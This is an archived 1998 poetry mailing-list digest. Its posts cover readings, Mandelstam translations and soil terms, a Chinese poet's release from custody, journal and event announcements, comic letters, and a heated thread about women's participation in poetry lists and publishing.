Henry what was so wrong with the mandelstam translation you quoted it seemed fine. But I am guilty of that kind of vague dismissal all the time I understand it it is like a maquette a cartoon of a future thought (hey Steve Carll are you out there?). Anyway that translation sounded oddly like Bowra's pasternak which I am pretty sure was a big influence on David Shapiro's poetry. Kisses on the breast like water from a pitcher.

After tromping about in New York's secret foggy Bolinas I went and heard Don Byrd and Madeline Gins read at Here this Sat. Don Byrd back from the desert read "After After the End of the World" "The happy family is eating the earth" which also had strong lines about duck-shaped melanomas. He read also from the Dimestore Centennial at Nick Piombino's request. Nick Piombino is the most showmanlike of poetry reading MCs, it is like a New Wave movie when he introduces readers. It was repeat repeat Madeline Gins read "The The Eyelid" blink blink blink. She also said many beautiful things "Daffodils should be called violets. Violets should be called earhorns." "God was pretentious" I myself was struck as in struck down by lines about faking getting it right after I laughed too loud. Lines about often having to fake understanding. A rousing, rousing reading.

Then Sunday New York Underground Film Festival Jeff Krulik's ("Heavy Metal Parking Lot") DC underground filmmakers my preface to seeing Rod Smith read with Andy Levy at the Cavern Club aka Zinc. Rod read a bit from Hegel's Mother about his toad Buber who keeps rabbits. Maybe if we all applaud and think good thoughts he will send it here. Hey Rod send it here. There were other more jazzlike codes he espoused too. Andy Levy read from a prosey sequence with the word "elephant" in the title. I was more tired and blotting out notes in my notebook so I have no lines of theirs, ow. Anyway that's what happened.

Signed,
Recalcitrant Buzzphobe

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726. Keston Sutherland
(a tentative) part 3 of ON THE OCCASION A REPAST
Mon 23 Mar 1998

3

Should she arrest what's wailed to the blizzard
entry and then parch the air, all its intimate
flick-
knifing pro-
longed pressure and constraint in
that swelter she is (break) unprepared,
a sanded bark-strip, positioned on fire;

that hollow's not en-
gulfed in a clamour (swing
right) but reeks of its technical negative, less bland and shat out in her
sleep to its exhibit n mercy-carton

twixt her teeth, a man
made sure redress can bide
with her should she wail or founder

see, even the vault in heaven's momentous, no blaze
streams at its own speed sideways cut
across mind
out contrive to
be alert (BREAK) all
stacked-down relished voluntariness in: (A) resist (B) rub-on
placidity is an intromitted (C) pregnant gnat glued pat to a wasted

by-road, a tax-bin. A few shoppers pace
unhurriedly at
this life, vaunting and mewling. One particularly
big, peculiarly impressive cinder, taken for what
it is will
be blent up into her pyrrhic face-scrub, don't need to wait, you are forever
safe, and the blizzard's bait.

↑ Index

727. **Daniel Zimmerman**

Re: "costly clay"

Mon 23 Mar 1998

Ctfarmr wrote:
>
> Henry G. wrote:
>
> >This I find fascinating. Mandelstam's Voronezh poems
> >are all about soil, black earth.
> >Clay - American Bottomland - that's where the epics are.
> >Time flowers on the lips of whispered clay.
> >"costly clay"
>
> Henry,
>
> Your agricultural terms seem somewhat confused, possibly due to the brevity of
> your words, but I also suspect that you're not a farmer. (Jack Spandrift is a
> cowboy, not a sodbuster, right?) Here's the way I see it: Black earth is loam,
> which contains much more organic matter than either clay or silt. Bottomland
> (low lying land along a river, generally good crop land) is mostly silt, not

> clay. Clay,which is usually red, yellow, or white (not black), is not good for
> crops. When it's wet, it's sticky-gluey and when it's dry, it's rock-hard --
> clay is, after all, what we use to make bricks. It's possible that epics
> often grow out of land that's mostly clay because it's so damn hard to farm.
> Is this what you meant with your brief comments?
>
> Bobbie

Bobbie,
I believe Henry [& Mandelstam] referred to the black chernozemic soils of the Russian steppe.

Dan Zimmerman

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728. **k. lederer**
Re: Morpheal's message re: women on the list--
Mon 23 Mar 1998

I also wish that more women would post on this list--

And I wish that more women would submit to magazines--

Best,
Katy

↑ Index

729. **Schuchat Simon**
Poet freed
Mon 23 Mar 1998

> *South China Morning Post*
>
> *Internet Edition*
>
> ---
>
> *Tuesday March 17 1998*
>
> *Poet wins freedom after spending 10 months in police custody*
>
> *JOANNE LEE-YOUNG*
>
> *Poet Chen Dongdong, in police custody since last May, has been released.*
>
> *Chen, now in Shanghai, said the situation remained sensitive*

> *and it was not convenient for him to give details.*
>
> *Before his arrest, he was poetry editor of Tendency Quarterly, a publication which began in 1988 as a Beijing underground magazine before being published publicly.*
>
> *Its Shanghai office was forced to close in 1992.*
>
> *Although the journal focuses on non-political subjects, including literature and art, it was closely monitored because of its links with the dissident community and access to American backers.*
>
> *Prior to his detention, Chen told the South China Morning Post the magazine's mainland editors and contributors had been questioned by police.*
>
> *"They suggested it was liaising with the democracy movement in the West," he said, adding that he denied the allegation.*
>
> *On one trip, Tendency founder and US-based dissident poet Bei Ling said he collected hundreds of underground publications, mostly dealing with poetry, literature, criticism and music.*
>
> *Bei, 35, said it was important to offer help to Chinese writers barred from publishing their articles or in financial trouble.*
>
> *"Literature should be freed from government control," Bei said."We have to give humanitarian support to these writers."*
>
> *Bei said Chen was arrested on charges of having had "illicit sexual relations".*
>
> *Chen had been repeatedly harassed by the public security bureau, said Bei.*

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730. **Siann Ngai**

Open Letter Launch in NYC

Mon 23 Mar 1998

Please join in the launch of Disgust and Overdetermination: a poetics issue, the latest issue of OPEN LETTER, a Canadian Journal of Writing and Theory, guest

edited by Jeff Derksen. In an introduction Jeff notes an impulse not towards synthesis or unity in these works, but towards the stacking up, the overloading, the spilling over of contradictions... a movement from the fragmentary to the relational. It includes the greater part of a substantial essay by Sianne Ngai called Raw Matter: a Poetics of Disgust, as well as new work by Caroline Bergvall, Miles Champion, Louis Cabri and others. Local contributors Kevin Davies, Sianne Ngai, Brian Kim Stefans, Andrew Levy and Dan Farrell, will be on site to read.

The event will kick off around 8pm on March 27th at the Segue performance space, 303 East 8th Street.

We hope to see you for a lively evening of distribution.

Yours,
Dan Farrell

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731. **Karen Kelley**

Re: Morpheal's message re: women on the list--

Mon 23 Mar 1998

---

k. lederer wrote:
>
> I also wish that more women would post on this list--
>
> And I wish that more women would submit to magazines--
>
> Best,
> Katy

Okay--I'll bite. I don't post much because the discourse of this list, like many, is one I don't want to get too caught up in. I don't want to have to defend myself, I don't want to clarify my thoughts in terms of someone else's idea of "logic," I don't want to try to pee higher up the tree than whoever might want to assert their greater authority. This isn't meant as criticism of the discourse, btw, it's just they way things look from where I type. Perhaps women are less drawn to competitive poetics (a gross generalization, I know).

Karen

↑ Index

732. **R M Daley**
KATY L Re: Morpheal's message re: women on the list--
Mon 23 Mar 1998

On Mon, 23 Mar 1998, k. lederer wrote:

> I also wish that more women would post on this list--
>
> And I wish that more women would submit to magazines--
>
> Best,
> Katy
>
hi katy - deceptively cold here today huh? - just got back from my new job!- no more pizza wooman sorry to say, as i know this listserv was waiting to here more of my pizza delights and escapades - but let me end the suspense right now and say IT SUCKED!!@#!#%!#@!$#@- my car will smell
like pizza for weeks to come- and hows that for a spring time road trip- i did like bringin you and josh pizza, and wish i could have reaped the benefits of the position long enough to bring you and kevin some...late night romance candlelight pizza and email - but i could take it no longer- there is no romance about driving up and down the same street ten times cause the stupid person who takes orders cant spell -

anyway- i now work at a construction worker/lonely daytripper kinda bar/ restaurant- you know JCs cafe? it closed, turned into lou henri's (and don't pretend that is pronounced AHN-REES because the guy who cleaned out the place told me they left 10 years worth of grease on the back wall of the fryer and, god knows how long that deep fryer had gone wihtout getting a cleaning- i didnt want to hear any more myself, so i can guess what you're thinking) - but the bar, the 'outer limits', that's where i started today- boy do i smell like cigarettes rightnow...and a great jukebox and some ways to earn a little cash on the side i found out about- ask me about that later

anyway, there are lots of reasons some people might not want to be writing on this listserv- maybe they are watching movies, like i like to do - i know you don't have a tv- maybe they have two jobs like i do and someimtes that just doesn't leave much time for this kind of social banter-

regardless, i am wondering , especially a question for all you fellas out there in listserv land, what exactly do YOU want from a woman, what can she provide you, what viewpoint does she inherently possess that will breach all those communication barriers and give you hmm and honest? woman's point of view? or is it that women present an honest human being's point of view? or not honest,

maybe fresh? inspired? vaginal? what could this be? - i will be glad to capitalize on this capacity when this community will tell me how to do so- maybe this means not ever getting published, maybe it means not getting the right mfa- is this what a woman's point of view could be? - lurking in the back somewhere, popping up just to show all you men how it really is?

well katy, i'm glad you logged on today- i had to ask you something

rachel

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733. Gabriel Gudding
Duck-shaped melanomas
Mon 23 Mar 1998

On Mon, 23 Mar 1998, Jordan Davis wrote:

> *After tromping about in New York's secret foggy Bolinas I went and heard Don Byrd and Madeline Gins read at Here this Sat. Don Byrd back from the desert read "After After the End of the World" "The happy family is eating the earth" which also had strong lines about duck-shaped melanomas.*

THE FOLLOWING IS FROM THE UNFORTUNATELY TITLED _LETTERS FROM A NUT_ BY TED L. NANCY. It is a book composed of around a 100 letters Nancy wrote to several famous service corporations, publishing firms, hotels and casino/hotels etc etc making preposterous demands, asking ludicrous questions and otherwise managing to be brilliantly cloying. The responses from the firms are also printed in the book.

Submissions Department
HIGHLIGHTS FOR CHILDREN MAGAZINE
2300 West 5th Ave
PO Box 16278
Columbus, OH 43216

Dear Submissions Department:

I have a feckle on my back, that when I stretch, looks like Anthony Quinn. I would like to sell my back as part of a magazine article. People love to look at my freckles. Should I send in the picture of my back for your magazine? Obviously I can't sell my back. Can I?

I have a few other freckles on my arm and a mole that when bunched together kinda looks like Richard Gere. When not bunched, Andy Griffith. If I brush the gray hair over the mole it looks like Gere. No gray hair, Andy Griffith. As I look at it now in the light, it looks like Andy Griffith.

Do you want to see it for your magazine? It would look good on your "fun" page. Who should I send the pictures to? Everyone always asks me to show them my freckles and moles. (And blemishes). The doctor said with age, as the freckle bleaches out, it could look like Dick Van Patten. I really enjoy your magazine. I am a long time reader. This is just a fun thing with these freckles. So, please let me know if I should send in a picture of my back and arms for your magazine. Thanks very much.

Sincerely,

Ted L. Nancy

Submissions Department
STAR MAGAZINE
660 White Plains Road
Tarrytown New York 10591

Dear Star Magazine:

I have a corn on my foot that resembles Shelley Fabares. How can I get my corn submitted to your magazine for inclusion? This is a standard size corn that closely resembles the "Coach" star. When I turn my foot in the light, the resemblance is uncanny. You would think Shelley Fabares is on my foot. (Can be mistaken for Ellen Degeneres if looked at fast. But why)?

My podiatrist said he will take off this corn soon. He says it is not healthy to keep a corn on your foot that long, even if it looks like a celebrity. I'd like to let the world see it before it is removed. How can I do this? Please let me know how I can send in the picture of my corn that looks like Shelley Fabares?

Sincerley,

Ted L. Nancy

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734. Mairead Byrne

Re: Morpheal's message re: women on the list--

Mon 23 Mar 1998

Why should more women submit? To magazines or anything else. Down with submission. There are enough dopes out there already. Include me out.

Best,
Mairead

On Mon, 23 Mar 1998, k. lederer wrote:

> *I also wish that more women would post on this list--*
>
> *And I wish that more women would submit to magazines--*
>
> *Best,*
> *Katy*

↑ Index

735. **Ctfarmr**
costly clay
Tue 24 Mar 1998

Date: Mon, 23 Mar 1998 16:59:40 -0500
From: Daniel Zimmerman <[redacted]>
Subject: Re: "costly clay"

Ctfarmr wrote:
>
> Henry G. wrote:
>
> >This I find fascinating. Mandelstam's Voronezh poems
> >are all about soil, black earth.
> >Clay - American Bottomland - that's where the epics are.
> >Time flowers on the lips of whispered clay.
> >"costly clay"
>
> Henry,
>
> Your agricultural terms seem somewhat confused, possibly due to the brevity of
> your words, but I also suspect that you're not a farmer. (Jack Spandrift is a
> cowboy, not a sodbuster, right?) Here's the way I see it: Black earth is loam,
> which contains much more organic matter than either clay or silt. Bottomland
> (low lying land along a river, generally good crop land) is mostly silt, not
> clay. Clay,which is usually red, yellow, or white (not black), is not good for
> crops. When it's wet, it's sticky-gluey and when it's dry, it's rock-hard --
> clay is, after all, what we use to make bricks. It's possible that epics
> often grow out of land that's mostly clay because it's so damn hard to farm.
> Is this what you meant with your brief comments?

>
> Bobbie

> *Bobbie,*
> *I believe Henry [& Mandelstam] referred to the black chernozemic soils*
> *of the Russian steppe.*
>
> *Dan Zimmerman*

Right. Black earth is chernozemic. But Henry's bit seemed to be equating it with clay. That's what had me scratching my head.

Bobbie

↑ Index

736. k. lederer
Re: Reply to Karen and Mairead--re: women on the list
Tue 24 Mar 1998

I see your points--but still think that women should get on the list(s)--and should submit.

When I say things like "more women should do this or that..." people often say things like "why women? Aren't you essentializing?" and so on--

But the fact of the matter is that women (as a category) have been historically disenfranchised--

I don't pick the categories here--history already has--

Women writers have been very important to me--

Sure, Emily Dickinson didn't submit--and though she didn't take part in the discourse during her lifetime, her work takes part in it now.

But what kind of world would it have been for me if all of my female role models were already dead? How would it have been for me if I had had to move through an academy devoid of women? If people like Virginia Woolf and Gertrude Stein hadn't been there first?

Whether or not the public sphere sucks, women should get out there and be in it.

There is a connection between real life and literature--

There is a connection between economic, physical, and emotional oppression and literacy--

There is a connection between being a woman, in a woman's body and with a woman's perspective (however broad a category that may be), and the kind of writing that I as a woman produce.

Best,
Katy

↑ Index

737. **Miekal And**
wo(men) on the list--
Tue 24 Mar 1998

Karen Kelley wrote:
 Perhaps women are less drawn to
> competitive poetics (a gross generalization, I know).

I dont think its fair to genderize this, Im here in search of an active community, not to engrave my initials in the american poetry tree...Im interested in shared space, exchange, networking, humor & perpetuating an electronic environment which is inclusive & inviting.

miekal

↑ Index

738. **henry gould**
Re: costly clay
Tue 24 Mar 1998

Does loam contain clay? I thought clay was mineral-rich but I could be wrong. Also remember reading about a science study showing some kind of electro-magnetic movement - sort of a shifting back & forth - in clay that the scientists thought was a sort of primitive pre-life form.

Jordan, I do like those translations [by James Greene - from the collection EYESIGHT OF WASPS] of Mandelstam. But they're very English english, & maybe there could be some new OM translations in a different idiom.

clay is sculpture & pottery material. it's earth taking form as earth (as opposed to vegetation).

Spandrift never picked up a hoe in his life, believe it or not, even when he came off the range - but Henry's done a lot of gardening & even farm work. Just so y'all know a little about me.

- Sub-sub

↑ Index

739. **Fred Muratori**
For Laura (Riding) Jackson Fans
Tue 24 Mar 1998

Laura (Riding) Jackson and the Promise of Language
A Symposium and Exhibition
Cornell University, Ithaca, New York
October 8-9, 1998

An international gathering of scholars, including Laura (Riding) Jackson's authorized biographer, her bibliographer, students of her poetry, stories, criticism, and thought, and publishers of her work, will offer two full days of panel discussions and related presentations in a symposium timed to coincide with the opening of the first exhibition drawn from the extensive Laura (Riding) Jackson and Schuyler B. Jackson Collection held by the Cornell University Library. For this occasion, both a guide to the collection and an exhibition catalog will be made available, and most restrictions on scholarly access to the Collection will be permanently lifted.

For a complete program and information about housing in Ithaca, or to pre-register (no charge) please contact: Lorna Knight, Curator of Manuscripts, 2B Kroch Library, Cornell University, Ithaca, NY 14853-5302. TEL [redacted] FAX [redacted] [redacted].

Co-sponsored by the Division of Rare and Manuscript Collections, Cornell University Library and the Laura (Riding) Jackson Board of Literary Management. Additional funding provided by the Sonia Raiziss Giop Charitable Foundation.

****

Fred Muratori
([redacted])
Reference Services Division
Olin * Kroch * Uris Libraries
Cornell University
Ithaca, NY 14853
WWW: http://fmref.library.cornell.edu/spectra.html
****

↑ Index

740. **Don Wellman**
Re: KATY L
Tue 24 Mar 1998

Rachel wrote:

"what exactly do YOU want from a woman, what can she provide you, what viewpoint does she inherently possess that will breach all those communication barriers and give you hmm and honest? woman's point of view? or is it that women present an honest human being's point of view? or not honest, maybe fresh? inspired? vaginal? what could

this be?"

I for one would like to hear more dialog between women as well as among women and men. the economic threads, gender threads, sexuality threads, privilege threads and poetics threads are all fascinating to me.

Don Wellman

↑ Index

741. **Alan Myouka Sondheim**
Re: costly clay
Tue 24 Mar 1998

---

there's some indication that kaolin has various regimes that interact and behave as primitive life-forms. there was an article years ago in, I think, Scientific American, among other sources.

Alan

↑ Index

742. **Mairead Byrne**
Re: Reply to Karen and Mairead--re: women on the list
Tue 24 Mar 1998

Well, Katy, I agree (although I had to resist the impulse to post to you privately rather than blaring all over; Woolf has something to say about the long shadow cast by the big ugly "I"). It was just the *submit* aspect that I baulked at. Could we not come up with a better way of describing that monthly alternative to buying lottery tickets: like I "offer" my poems to you, or "Recently, I bestowed some poems on Parnassus" or "Dear Editor, I wish to display/exhibit/ make a show of the enclosed poems" or "I give you these bright things on trust" etc etc. Mairead

↑ Index

743. Gary Sullivan
JAB 9
Tue 24 Mar 1998

The ninth issue of _The Journal of Artists' Books_, edited by Brad Freeman, is now available.

This issue features: Essays on Ulises Carrion (by Brad Freeman), Rosmarie & Keith Waldrop (by Johanna Drucker) and John Baldessari (by Victoria Sancho); reviews of Jean-Claude Gotting's _La Symphonie Silencieuse_ (by Cynthia Young), J.H. Kocman's _My Activity_ (by Ted Purves), and Roy Villevoye's _'No problem, brother!'_ and Helen Douglas's _Between the Two_ (by yours truly); and sports a beautiful cover designed and printed by Inge Bruggeman (publisher of INK-A! Press in Santa Barbara).

I have a couple extra copies I'll send, gratis, to the first couple of people to back-channel me. Otherwise, the issue is, postpaid, $9 (U.S., Canada, Mexico) and $12 for the rest of the world. Send to:

JAB
324 Yale Avenue
New Haven, CT 06515
USA

↑ Index

744. William Marsh
women hyperpoets
Tue 24 Mar 1998

---

taking advantage of this recent thread, could listees please help with the following

women poets currently working in the "new media" vein, particularly web-based word arts (visual, kinetic/animated, e- poetry)?

names? URLs?

much obliged
bill

- -
William Marsh
PaperBrainPress
Voice & Range Community Arts
National University
[redacted]
http://bmarsh.dtai.com

snail: 1860 PB Dr. #4
San Diego, CA 92109
- -

↑ Index

745. **Charles Bernstein**
Hilda Morley (1919-1998)
Tue 24 Mar 1998

Bob Creeley sent me this note this morning:

> *Just yesterday we heard that Hilda Morley had died Sunday night in London -- expected ... but hard none the less. We would have delightful long telephone conversations -- and I have known her since Black Mountain days. She has a substantial selection of her poems coming out just now with Moyer Bell, The Turning, for which I did a brief but heartfelt preface.*

******

I picked this up from http://www.moyerbell.com/books/TURNING.HTM:

THE TURNING

Hilda Morley

"Hilda Morley's work inhabits a universe of quietly intense coastlines and rockscapes, of radiant sunlight and luminous mists . .." - Choice

"[Her poems] come to us wild and fresh, radiating a joy of invention that is inseparable from her word play."
- Stanley Kunitz

In her fifth collection of poems, poet Hilda Morley proves a master of rhythm and in poem after poem reveals her ability to recite with perfect pitch. With striking visual images, she brings new life and beauty to nature and inanimate objects. Her work has been described by colleagues as fluid, elegant, and organic.

there is only the language of a voice which turning
on itself says (the dark streaking itself with
glimmering) words of that voice saying (the only
one in this dark place) begin, begin again.
(from "The Turning")

Hilda Morley has published five books of poetry, including What Are Winds What Are Waters and Cloudless at First (Moyer Bell), and has won numerous awards and

fellowships. She lives in Sag Harbor, New York and
London.

ASPHODEL PRESS
Poetry
190 pages : 7 x 10"
ISBN 1-55921-202-0 : $16.95 cloth

↑ Index

746. **Maria Damon**

Re: Close Listening: Poetry and the Performed Word (Announcement)

Tue 24 Mar 1998

---

a small point, but my title is the Public Spear, not Speak.

At 6:55 PM -0500 3/17/98, Charles Bernstein wrote:
>Forthcoming in April
>
>Close Listening
>
>Poetry and the Performed Word
>
>Edited by CHARLES BERNSTEIN
>
>Close Listening and the Performed Word brings together seventeen essays,
>especially written for this volume, on the poetry reading, the sounds of
>poetry, and the visual performance of poetry. While the performance of
>poetry is as old as poetry itself, critical attention to modern and
>postmodern poetry performance has been negligible. This collection opens
>many new avenues for the critical discussion of the sound and performance
>of poetry, with special attention to innovative work. More important, the
>essays collected here offer wide-ranging elucidations of how
>twentieth-century poetry has been practiced as a performance art. The
>contributors cover topics that range from the performance styles of
>individual poets and types of poetry to the relation of sound to meaning,
>from historical and social approaches to poetry readings and to new
>imaginations of prosody. Such approaches are intended to encourage new
>forms of "close listenings"--not only to the printed text of poems, but
>also to tapes, performances, and other expressions of the sounded word.
>With readings and "spoken word" events gaining an increasing audience for
>poetry, Close Listening provides an indispensable critical groundwork for
>understanding the importance of language in--and as--performance.

>
>
> 368 pp., 22 linecuts, 6-1/8 x 9-1/4
> $19.95w*, paper, 0-19-510992-9
> $49.95w, cloth, 0-19-510991-0
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>Close Listening (cloth), ISBN 0195109910
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>or from your bookstore
>or from OUP on-line http://www.oup-usa.org/docs/0195109929.html
>
>Contents:
>
>Charles Bernstein, Introduction
>
>Soundís Measures
>Susan Stewart, Letter on Sound
>Nick Piombino, The Aural Ellipsis and the Nature of Listening in
>Contemporary Poetry
>Bruce Andrews, Praxis: A Political Economy of Noise and Informalism
>Marjorie Perloff, After Free-Verse: The New Non-Linear Poetries
>Susan Howe, Either/Ether
>
>Performing Words
>Johanna Drucker, Visual Performance of the Poetic Text
>Steve McCaffery, Voice in Extremis
>Dennis Tedlock, Toward a Poetics of Polyphony and Translatability
>Bob Perelman, Speech Effects: The Talk as Genre
>Peter Quartermain, Sound Reading
>
>Close Hearings / Historical Settings
>Jed Rasula, Understanding the Sound of Not Understanding
>Peter Middleton, The Contemporary Poetry Reading
>Lorenzo Thomas, Neon Griot: The Functional Role of Poetry Readings in the
>Black Arts Movement
>Maria Damon, Was that "Different," "Dissident" or "Dissonant"? Poetry (n)
>the Public Speak: Slams, Open Readings and Dissident Traditions
>Susan Schultz, Local Vocals: Hawaiííís Pidgin Literature, Performance, and
>Postcoloniality

>
>Afterword
>Ron Silliman, Who Speaks: Ventriloquism and the Self in the Poetry Reading

↑ Index

747. **r. drake**
Re: women hyperpoets
Tue 24 Mar 1998

---

bill--

the Eastgate stable ov writers has a number of women promenant & active (deena larsen, judy malloy, cathy marshall, shelley jackson):

http://www.eastgate.com/

quite a bit ov work at the Maid in Hyperspace site:

http://www.studioxx.org/maidincyberspace/index.html

Christy Sheffield Sanford has quite a bit ov work; i particularly liked _Red Mona_:

http://web.purplefrog.com/~christy/red-mona/
http://gnv.fdt.net/~christys/index.html

...this of the top ov my bookmarks... & conditional as to whether or no it's "poetry"...

luigi

> *taking advantage of this recent thread, could listees please help with the following*
>
> *women poets currently working in the "new media" vein, particularly web-based word arts (visual, kinetic/animated, e- poetry)?*
>
> *names? URLs?*
>
> *much obliged*
> *bill*
>
> *- -*
> *William Marsh*
> *PaperBrainPress*
> *Voice & Range Community Arts*
> *National University*
> [redacted]
> *http://bmarsh.dtai.com*
> *snail: 1860 PB Dr. #4*

> *San Diego, CA 92109*
> *- -*

↑ Index

748. **r. drake**
Re: wo(men) on the list--
Tue 24 Mar 1998

miekal--

ov course it's fair to genderize this (which is quite a different thing than criticizing You) -- as an experiment, try tallying up th ratio ov women to men posting to this list; then compare it to the ratio ov wo/men subscribed... ov course, th handful of men who post daily or more will skew th result somewhat... (& i'm not criticizing; like k.l., i wish more women would join in)... but it's no coincidence, and gender, th social construct, has everything to do w/ it...

lbd

> *Karen Kelley wrote:*
> *Perhaps women are less drawn to*
> *competitive poetics (a gross generalization, I know).*
>
> *I dont think its fair to genderize this, Im here in search of an active community, not to engrave my initials in the american poetry tree...Im interested in shared space, exchange, networking, humor & perpetuating an electronic environment which is inclusive & inviting.*
>
> *miekal*

↑ Index

749. **Hzinnes**
Re: JAB 9
Tue 24 Mar 1998

24 March l998

Dear Gary Sullivan

May I have a copy of your Journal of Artists' Books? Thank you so much for your generosity.

Sincerely

Harriet Zinnes

[redacted]

25 West 54 Street
New York, NY l00l9

I'll certainly be pleased to pay for the postage.

↑ Index

750. **Hzinnes**
Re: For Laura (Riding) Jackson Fans
Tue 24 Mar 1998

---

24 March l998

Dear Staff:

As an art critic (and poetand literary critic as well) is it possible for you to send me the catalogue and other pertinent information since I'll bve unable to attend the exhibition and discussions?

Thank you for your cooperation.

Sincerely,

Harriet Zinnes
[redacted]

25 West 54 Street
New York, NY l00l9

↑ Index

751. **R M Daley**
Re: Reply to Karen and Mairead--re: women on the list
Tue 24 Mar 1998

On Tue, 24 Mar 1998, k. lederer wrote:

> *I see your points--but still think that women should get on the list(s)--and should submit.*

wait- how can you see these points and go on to say this -

>
> When I say things like "more women should do this or that..." people often
> say things like "why women? Aren't you essentializing?" and so on--
>
> But the fact of the matter is that women (as a category) have been
> historically disenfranchised--
>
really i know it's more complicated than all that, than whining "oh you're essentializing and that's totally invalid..." --i hate that shit - but it

IS complicated, but i don't go through my day thinking i'm the historically disenfranchised- isn't everyone historically disenfranchised somewhere down the line? - the fact that i have to fucking fill out my taxes makes me some kind of angry and disenfranchised and bitter and (disenfranchised in the legal necessity to submit to such idiocy) - and somewhere down some line choosing to , conscoiusly choosing to, not take up the burden of everything constructed as history that says YOU WOMAN, YOU ARE DISENFRANCHISED - in fact , to be honest i'm not even sure who's a 'woman' and who's not- if i'm fucked up the ass? if i'm not? if i cry at certain movies? if i were feather boas (no that would make me a drag queen?) - what am i to do about the fact that i DON'T think about who's fucking me over because i'm a woman

> *I don't pick the categories here--history already has--*

GET REAL- just choose another history, there's millions to be had

> Women writers have been very important to me--
>
> Sure, Emily Dickinson didn't submit--and though she didn't take part in
> the discourse during her lifetime, her work takes part in it now.
>
> But what kind of world would it have been for me if all of my female role
> models were already dead? How would it have been for me if I had had to
> move through an academy devoid of women? If people like Virginia Woolf and
> Gertrude Stein hadn't been there first?
>
> Whether or not the public sphere sucks, women should get out there and be
> in it.
>

one might respond that this is buying into a patriarchal structure of kissing ass, mutual stroking, and when women (historically?) have not benefitted much from public sucking , why start now?

> *There is a connection between real life and literature--*

literature is real life, last i checked - as is cleaning the bathtub or taking a walk or communing with the moon or making enchiladas

> *There is a connection between economic, physical, and emotional oppression and literacy--*
>
> *There is a connection between being a woman, in a woman's body and with a woman's perspective (however broad a category that may be), and the kind of writing that I as a woman produce.*

well i feel as though i have to get a new body, my woman's body is not getting my woman's perspective motor running -

be specific here, i was being serious before - i want to know what to be looking for in my woman's writing, what makes it so, how broad can this category be? can it include men? if so, is that cause they have too little testosterone or maybe a little progesterone floating around or are gay? - meanwhile where did that thing i was working on...

> *Best,*
> *Katy*

lovingly

rachel

↑ Index

752. **Gary Sullivan**
Re: JAB 9
Tue 24 Mar 1998

Hi, Harriet:

You're the fourth to respond, & so will receive the last available gratis copy! I'll send it along to the address below today.

Be well,

Gary

On Tuesday, March 24, 1998 11:38 AM, Hzinnes [SMTP:[redacted]] wrote:
> 24 March l998
>
> Dear Gary Sullivan
>
> May I have a copy of your Journal of Artists' Books? Thank you so much for
> your generosity.
>
> Sincerely
>
> Harriet Zinnes
>
> [redacted]
>
> 25 West 54 Street

> New York, NY l00l9
>
> I'll certainly be pleased to pay for the postage.

↑ Index

753. **Gary Sullivan**
JABs all gone!
Tue 24 Mar 1998

The extra issues I had are all spoken for, now--but, again, you can get one from the editor/publisher, Brad Freeman, for $9 postpaid (US, Can, Mex), $12 (elsewhere):

JAB
324 Yale Avenue
New Haven, CT 06515
USA

Also: Potential reviewers/essayists interested in book arts definitely ought to get in touch with Brad: He's always looking for material . . .

↑ Index

754. **s. kaipa**
Re: women in poetry and in the arts
Tue 24 Mar 1998

Hi Katy,

I think your points about women and their participation in the process of being a public writer are well taken. I also think it's interesting to consider women's involvement in other forms of expression--ranging from the critical/philosophical to other mediums of art such as film. How many women philosophers can one think up anyhow? (Arendt? Kristeva?) And how many men come rolling off the tongue? Likewise with film--I can't, for the life of me, name a woman film maker. Perhaps these are my own shortcomings, but the lack of female names in these fields seems to indicate two things. One, maybe there aren't as many women working in these disciplines--which seems to be a societal problem. What does society do or not do to encourage/discourage women from participating in these activities. And/or, two, that women don't receive the same type of exposure that men do. The lack of exposure seems to me to be a greater problem right now given the number of women who are engaging in these various disciplines.

Some thoughts,

Summi

↑ Index

755. **Thomas Bell**
Re: Open Letter Launch in NYC
Tue 24 Mar 1998

Can this issue by obtained by mail?
tom bell

At 09:21 PM 3/23/98 -0500, Siann Ngai wrote:
>Please join in the launch of Disgust and Overdetermination: a poetics
>issue, the latest issue of OPEN LETTER, a Canadian Journal of Writing and
>Theory, guest edited by Jeff Derksen. In an introduction Jeff notes an
>impulse not towards synthesis or unity in these works, but towards the
>stacking up, the overloading, the spilling over of contradictions... a
>movement from the fragmentary to the relational. It includes the greater
>part of a substantial essay by Sianne Ngai called Raw Matter: a Poetics of
>Disgust, as well as new work by Caroline Bergvall, Miles Champion, Louis
>Cabri and others. Local contributors Kevin Davies, Sianne Ngai, Brian Kim
>Stefans, Andrew Levy and Dan Farrell, will be on site to read.
>
>The event will kick off around 8pm on March 27th at the Segue performance
>space, 303 East 8th Street.
>
>We hope to see you for a lively evening of distribution.
>
>Yours,
>Dan Farrell
>
>

↑ Index

756. **k. lederer**
Re: Reply to Rachel re: women
Tue 24 Mar 1998

Rachel--

I AM getting real here--

We've talked about this before, but I don't always think it's a matter of details and refinement when it comes to gender--

I'm not interested in refining my points--in defining the differences between men and women, defining how possession of a female body might affect one's writing etc....

I understand that all of this is up for grabs IN AN IDEAL or otherwise intellectualized world--

But Rachel, this is the real world--

This is the world in which people (including other women) look at each other and make some pretty sweeping judgements based on superficial things like hair and dress--

I think that your position is fine in the long-run--as in, gender is a malleable category--everything is discourse--

But right here and right now--in my real life (and in yours) everything is not discourse--

People are real right now--living real lives.

As I've said to you (and Josh) before, I think it's lame to deny the real lives of real people as they are affected by perhaps "fictional" stereotypes in the interest of proving that everything is rhetoric and discourse--

When a teacher ignores a little girl in math class, this is NOT discourse--

When a woman feels like she has to giggle and say "I'm sorry" fifty times a day, this is NOT discourse--

When I go to the bookstore and see five times more men being published than women, this is NOT discourse--

These things are real--

At best your responses were intellectually feasible--

At worst they were smug--

Best,
Katy

↑ Index

757. **k. lederer**
Re: women in poetry and in the arts
Tue 24 Mar 1998

And poker....

Hi Summi--

All of this has made me think a lot about my views--to reconsider them--

My sister is a professional poker player, and I think this has a lot to do with my views--(along with my experiences as a student at a rather sexist boarding school, as a college student at a rather liberal college (Berkeley), as a poet who has worked in a number of environments--).

My sister is considered to be the best female poker player in the world. She is 32 and has two wonderful babies.

She got into poker because she needed to make some money (she dropped out of a PhD program in order to marry her husband...)--

Her story is super interesting, but suffice it to say that I have watched her play poker a lot--

I have watched the way in which men react to her--

I myself have experienced the incredible sexism of poker first-hand--

Men don't like it when women play poker--

Men don't like to lose to women--

I have been personally cussed out on numerous occassion for simply being a woman and having the audacity to play at the very public and open (like this list) tables in Vegas--

To my mind poker is much like the other industries you bring up--

Like film, philosophy, and other traditionally male pursuits, one rarely rarely hears about women--

I don't think this is because of lack of exposure--I think it's because fewer women practice these arts--

